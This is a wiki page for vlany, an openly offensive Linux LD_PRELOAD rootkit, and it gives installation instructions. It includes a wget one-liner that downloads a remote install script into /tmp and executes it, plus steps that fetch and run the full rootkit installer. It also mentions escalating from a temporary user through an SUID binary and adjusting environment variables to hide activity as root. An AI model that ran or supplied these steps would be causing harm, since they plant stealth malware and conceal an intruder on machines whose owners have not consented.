vlany (wiki)

vlany is a Linux LD_PRELOAD rootkit.

Installing

  • vlany's quick_install.sh script is the fastest/easiest method of installation.
    root@vlany:~# wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh
    The quick_install.sh script automatically downloads the latest version of vlany from this repository, untars the archive, then executes the regular installation script from a new random directory in /tmp/. By default, the quick_install.sh script removes the new directory once execution has completely finished.

  • It's very simple to install vlany onto a sytem as it comes with an automated install script.
    To install vlany you want to first download it from our GitHub ( Always up to date and trusted )
    root@vlany:~# wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz

  • Once it's downloaded you just have to run install.sh inside vlany-master.
    root@vlany:~# cd vlany-master && ./install.sh
    By default this will prompt you with a tui installation but if cli is prefered you can use the --cli argument to invoke a similar cli installation.

ASCIICAST OF INSTALLATION

Regular tui installation on a Debian 8 box using an suid binary to escalate privileges from a tmp user. In a real life scenario, you'll want to play with some environment variables to prevent anyone from seeing your activity when root.
